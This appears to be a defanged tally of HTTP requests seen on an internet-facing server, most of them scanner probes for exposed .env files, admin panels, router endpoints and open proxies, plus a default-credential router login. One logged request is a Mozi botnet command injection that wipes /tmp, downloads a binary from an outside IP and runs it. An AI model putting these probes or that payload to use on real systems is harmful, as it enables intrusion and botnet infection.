1	CONNECT	`104[.]110[.]240[.]131:443`	HTTP/1.0
1	CONNECT	`149[.]154[.]167[.]99:443`	HTTP/1.0
1	CONNECT	`blank[.]org:443`	HTTP/1.1
15	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/HNAP1`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
2	GET	`/evox/about`	HTTP/1.1
1	GET	`/exactarget/`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php`	HTTP/1.1
9	GET	`/manager/html`	HTTP/1.1
1	GET	`/nmaplowercheck1683765257`	HTTP/1.1
1	GET	`/nmaplowercheck1683787795`	HTTP/1.1
1	GET	`/oamfed/idp/soap`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//183[.]130[.]183[.]22:40184/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/video/139239.html`	HTTP/1.1
1	GET	`https[:]//berlin[.]craigslist[.]org/search/jjj?query=software&sort=rel`	HTTP/1.0
1	GET	`https[:]//telegram[.]org/`	HTTP/1.0
1	GET	`https[:]//translate[.]google[.]com/translate_a/single?client=t&sl=auto&tl=de&hl=de&dt=at&dt=bd&dt=ex&dt=ld&dt=md&dt=qca&dt=rw&dt=rm&dt=ss&dt=t&ie=UTF-8&oe=UTF-8&otf=2&ssel=0&tsel=0&kc=4&tk=821208.701606&q=This%20is%20a%20test.`	HTTP/1.0
1	GET	`https[:]//www[.]amazon[.]com/`	HTTP/1.0
1	GET	`https[:]//www[.]bing[.]com/search?q=23.192.228.27%3A80`	HTTP/1.0
4	POST	`/HNAP1/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/cn/cmd`	HTTP/1.1
2	POST	`/dvr/cmd`	HTTP/1.1
2	POST	`/sdk`	HTTP/1.1
1	PRI	`*`	HTTP/2.0